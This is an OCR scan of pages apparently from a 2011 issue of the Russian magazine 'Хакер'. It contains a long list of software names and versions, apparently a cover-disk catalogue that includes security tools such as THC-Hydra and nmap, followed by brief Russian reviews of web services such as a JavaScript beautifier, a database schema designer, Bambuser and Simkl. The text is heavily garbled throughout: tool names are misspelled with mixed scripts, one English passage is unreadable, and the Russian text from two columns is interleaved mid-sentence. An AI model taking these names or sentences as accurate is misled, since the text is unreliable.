Pamela Call Recorder 4.7

>м.!

P••ttix 2.8.0

BlueG,ilf.n D.9RCI

R.b.F.,m 7.2.0

CenterlM 4.22.10

�reSQL 9.0.3

C.de Vi.uali.e, 4.6

torchat 0.9.9

Ch.a.k 1.0

DbDcl.pu. 1 . 1

TYP03Wln.taller 4.5.0

Fro.twire 4.21.3

Dependencv Walker 2.2

Web5i!e-Wa!cher 2011 111.0

Free Иех Edilo,Meo 4.95

>Sec" i!V

GalaXQL 2.О

Adap!ive 5ec" i!V Analv,,, IIS

Lvпх 2.8.7

с.ььу О.4.93

в,.!.. Sandb.x Analvzer 1.25

Mozilla Fi,.,.x 3.6.13

>Sv.!.m

Google Арр Engine documen!aUon

d,ivesploit

m.mt. I .4.23

BinVi.

D...I.�er. Tip. & T,ick. 1.2.1.2

5amb..-з:5.6 S.ndmail 8.14.4

G••gle Chrome 8.0.552.237

Sa,ld 3.1.10

12Р 0.8.3

Unb.und 1.4.8

K'ileb.x 0.4.7

V.ft.d 2.3.2

Google Арр Engin. 5ОК '" Ja,a

FacebookP." wo'dDecryptor 1 .5

Maim 0.11.8.3.2

AТI Catalvs! 1 1 . 1 Caai,a,a 0.8.9

1.4.0

Иа.hСоm.аre 1.0

McF7P 3.2.5

Create Svnch,.nicitv 5.1

Google Арр Engine 5ОК '" PVlhon

ИПРТu.пеl l .2.1

Mew.be,!" 2.4

Dmidec.d. 2.11

1.4.1

IdaJa.a 0.3

Opera 1 1 .00

ИеidiSQL 6.О

MagicTree Beta Tw.

Р.; 0.14

Kd' 4.0.5

Parr.1 3.0.D PvCha,m 1.1.1

nma. 5.50

Rou.dCube Webmail 0.5

Llnux Kernel 2.6.37

O..nFISMA 2.11

Twvt 0.9.2

Re'lexil l. 1

OWASP CSRFGua,d 3.0.0.336 АLРИА

у,,, 4.6

.Vidia 260.19.36

WeeCha! 0.3.4

Palimpse.t 2.32

GCon' 2.32

LVM2 2.02.81

!!!в.хВuddv 3.5.О

Pack.!Fu 1.0.0

Rock.ISVM '" Vi.ual SI,dio 1.0.1

PlREtic 0.5.1

Rock.ISVM Se..er 1.0

�ger .I.0

>Security

SubIime Тех! 2 bela

Virt,alKD 2.5.1

d,ivesol.it

Virtual Machine Мапав" 0.8.6

Ina,ma '.0.2

VirtualBox 4.0.2 xSMBrow.er 3.4.0

ТО,а 2.1.3

phpVirtualB.x 4.2

Virt,al Serial Port. B.la

>Sv.tem

MaaicTree Beta Tw.

wvBuild 2.5

AS SSD Be.chma,k 1.6.4

Mch.. .0.2

Bluet••th D,i.er I••tall" 1.0.0.62

P.werT.a 1 . 1 3

.maa 5.50

>X-di.!,

Oae.DLP 0.2.5

ОеЫап 6.0 5а,ее"

>MIsc

BootRacer 3.1

AU'D8X 1 .2.2.98 Bool 5поо" 1.0.5

CheckDi.kGUI I.I.0

Oa••FISMA 2.11

ESET Sysl'.pector 1.2

OaenSCAP P,.iect 0.6.7

»МАС

b,iss 0.0.12

FreeFile5v.c 3.13

OWASP CSRFG,a,d 3.0.0.336 АLРИА

�pCleaner 1.2.2

Immu.e! Protect FREE A.ti.i" .

Pack.!F, 1.0.0

Candvba, 3.2.2

J.tUQ 1.0.3

pyREtic 0.5.1

Daisv Disk 2.0.5 F,eeGuide 0.11

File B,ck.I I . 1 .0

1•• ,1 Director ,1.2.2 Locat.32 3.0 Мicrosоft Mathematics 4.0

Kasoer.kv Rш,е Oi.k 10

Roo!kit Иu.ter 1.3.8

Minimem 2.0

THC-Hvd,a 6.0

iMedia Browser 2.0

МооО FileShredder 1 . 1 5

M.ackd 1. 14.1

THC-IPV6 1_4

Litelcon 1.3.1

Cross '""

Regi.try C.mma.der 10.04

OSFClone l .0.1005

SearchMrFiles 1.62

OSFM.,nt У1.4.1 005

Digital F.ren.ics F,amework 0.9

Littlelasum 1_1.2 MiroVideoC.nverter 2.4 Plxelmator 1.6.4

7�

Shapeshift" 3.09

OSF.ren.ics 0.8

1__ __ __ __ __ __ G,a,d·g 0 .9 � _

SV.I.t".al.Updater 1.0.0 T,a••lat'.M.t 0.1.34

Q-Di, 4.46

Inauma 0.2

ZenKEY 2.3.5

Rai.meter 2.0

>Multlm.dia

»UMIX

Malmon De!ec!i•• Tool 0.3 Ма.!,а Sec" ity Toolki!

5econdBa, 9.68

calibre 0.7.44

>D..el

Ma..i. 0.9

Sec,reFiles 1.1.2

BI,e'ish 2.0

Ma,sezah. 0.40

Sigma Chess 6.2 SiteSucker 2.2.3

Dual M••itor TooI. 1.7

R .•aver 1. 0

Ki.met 2011-01-RI

Lin,x Securitv Checkli.! T••I 2.0.3

Р,п!. 5witch" 3.1.1 Ra.idWea.er 5 Reeder 1.0Ь9 5creen.g,aphV I.0.15

F,ap. 3.2.8

Clmg .!!l

Mmap 5.50

'reac 1.0.17а

Ga.lIProjec! 2.0.10

MMa.5i4 0.2.1

GrooveWal" . 0.331

Ш9J!!.М �J!JJ!

ТinkerT••1 4.4

Packe! Fe.ce 2.0.1

WeatherDock 2.5.1

Gschem 1.6.2

QuickRec•• 0 . 1 . 1

Jailer 3.5.1

THC-Hvd,a 6.1

ImgB,," 2.5.5.0 Ki.dle '" РС Miro 3.5 Okozo Deskto. I.I.6

.

Puck

JulfEd 0.8.1

KD..el•• 4.2

XSS Ravs 1.0

SaveGameBackup.net 1 . 0 3 Skvpe Record" 3.0

LibRaw 0.12.3

>Server

lib,.b 1.0.8 M.i.liciou. I .0

�ache 2.2.17 BIMD 9.7.2-Р3

VLC media plaver 1 . 1 . 7

Мер!,пе 0.6

Cassand,a 0.7

Ok!eta 0.5

Cher.kee 1.0.18

>м.!

p.Cha,m 1 . 1 .1

CUPS 1.4.6

Sumatra PDF 1.3 UMPlaver 0.9

А.в,у IP Sca.ner 4.0 beta4

C.n'igurati.n C••ter Workgro,P...1.,L DMS Performa.ce Test

5с••• 2.0.1

5WIG 2.0.1 Tale.d О... St,di. 4.1.2

PALEVO: ИСПАНСКИЙ ЧЕРВЬ С РУССКИМ НАЗВАНИЕМ

ОНСР 4.2.0-Р2 D,i..le 2011 .02.09 M.SQL 5.5.8

".

жизнь ПОСЛЕ

MYн�Ц�

СТР.


Javascript unpacker and beautifier "

,..t� tll ,our соИ ao\d P�SI le.lI1:if)' 1мttt0/l

1f t ' th1s_ts' "

/'''_':O:N91t/) (

"'

OВt1lce! on own line

do_s_.tllilll();

) tlse !

v.r • • b l (c l d) : e[f):

. lerwl. ,.formI!.l\drtlncl""�rldets.UOI'I j8vttcrlo� UtI'**tЩ)b pacb1:l ьуlIIt poPUl,r l2U!J �,"weII •• !IeObfll_l8aa1pt1proceuad by -�-

@lOelect pacQrs? О КНР lrr8y IndBntallon? e! PrIlI8fVB Bmptytlnes?

-

1hI8 Dt ....

1IМ'1IOU1C800d.fur .... II... YOtIIIotI I8 81W.\'8 IYai1.tII8 011

IIIt1iQ. 8ncl JOI,Icatl OOм'IIO.o I'IeDNUu.rlorkaluм b/Q. lIC.alJ 'IWIII.

".�I_P'l'hln ..rtIonofll8 bt.UC;tlerlfbeolngll'l8d... ,o..o ,..� I!'II...

Un1illlln. you can usePfO'l\68cl tlt8\Г6tt-djt tcrlpt, l/IInsI !!!II!!SI � UИ.l!ll.%alJlDn. o rl8k8. look ll'OUnclN 1I!iIIIII - 1Ie1e_У8riout��.

ONLINE DATABASE SCHEMA DESIGNER dbdsgnr.appspot.com

ThI' PClPUllrweDdebU!l1l!ng proxyrorv..noow. h.. . �

"Y8 aa1D1On ,,",�,.

� (IJ.IИОGfl O'UtмI.u�hr).....rIiCh С8n "lo!mal

,,101111

_ W!prl!tgfo1!11W1 amang 1ef!Sr-1O k'lItgI'8I8N Dt."'Itt IrlDNl 8OIIor.

FabkI H� IlUwrilltn

'fIItn M

Af3.423COn'0'8I18ON lCllpl lD 'IImt (1OfI'IIWfIaI 1lpcмt8 llSUjl а}.'dI!I...R!Iщ _. M)'OIldoing�"..,uA ,* 8Лd IlIttdude .IiI>t".,./

Для расшифровки упакованного JаvаSсгiрt-кода

JAVASCRIPT UNPACKER AND BEAUTIFIER jsbeautifier.org

о Если ты зани маешься разработкой. то наверняка имел дело с визу­

о Чтобы уберечь исходники на JavaScript от пла гиата, а также затруд­ альными инструментами для проектирования БД. Бла годаря им можно н ить а нализ сцена риев анти вирус н ы м и п родукта м и и специалиста м и , не только наглядно представить структуру будущих табли ц и связи меж­ разработч и ки часто и спользуют специальн ы е инструменты-скрамб­ ду н и м и , но и сгенерировать код для созда ния базы в СУБД. Ас помощью леры, которые ка рдинально усложняют чте н и е кода. В WWW2 мы даже этого сервиса, написанного на Python и размещен ного в облачном сер­ упоминали толковое онла й н - р е ш е н и е JScram bler, которое как раз вы­ полняетта кую обфуска цию. Сервис J S Beautifier, напроти в, п р и водит висе Google Арр Engine, ты можешь сделать это прямо в браузере. Это довольно простое решение, но оно позволяет спроектировать табли цы, уродл и в ы й JS-KOA В человеческий вид, выполняет формати рова н и е и обозначить первичные и внешние ключи, про верить связи и получить пытается распаковать код, обфусци рова н н ы й на иболее популя р н ы м и готовый код для PostgreSOL, SOLite, MySOL, MSSOL и Oracle. приемами.

· МoCII't � _I"I"IIO� . �_*"oIt"'cIoIIII\' . C/08IlOII!II ycu...... .....�

Для безопасного хранения логов lМ­ мессенджера и Skype

Для организации потокового вещания с камеры телефона или ноутбука

bambuser.com

BAMBUSER

SIMKL simkl.com

о Вопрос: как поделиться со всеми желающими потоковым видео с

о Одной из п р и ч и н , по которой я когда-то стал использовать GTa lk в

камеры своеготелефона? Так, чтобы в реальном времени и с хорошей картинкой/звуком? Идея пришла совершенно неожиданно во время ката­ ния на сноуборде в горах :1. Удивительно, но даже на высоте 3 000 метров есть местечки, где быстрый Wi-Fi раздается всем желающим. А раз так, то почему не попробовать? Быстро нашелся подходящий сервис Bambuser. Установив на своем телефоне специальный клиент Iпомерживаются де­ вайсы на Windows Mobile, Android, iOS, Symbian, Badal, можно в два клика начать передачу изображения на главный сервер Bambuser. А уже оттуда все желающие смогутувидеть изображение через свой браузер.

� 1 44

качестве основного I М- мессенджера, стало централизован ное хране­ ние л о гов чатов прямо на сервере. Другие сети и клиентские приложе­ ния этим похвастаться не могл и . Теперь это досадное недоразуме н и е во многи х случаях готов исправ ить с е р в и с Simkl, сохра няя в с ю исто­ рию разговоров на безопасном сервере. С писок клиентов, с которыми о н совмести м , довольно внушителен и включает в себя 01 Р, M i randa, Pidgin и другие. С недавнего времени сервис научился записывать еще и все голосовые разговоры из Skype I вкл ючая Skypeln и SkypeOutl, но только после установки специал ьного кл иента на ком пьютер. ХАКЕР 03 / 1 46/ 2 0 1 1


Turn static files into dynamic content formats.

Create a flipbook
Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.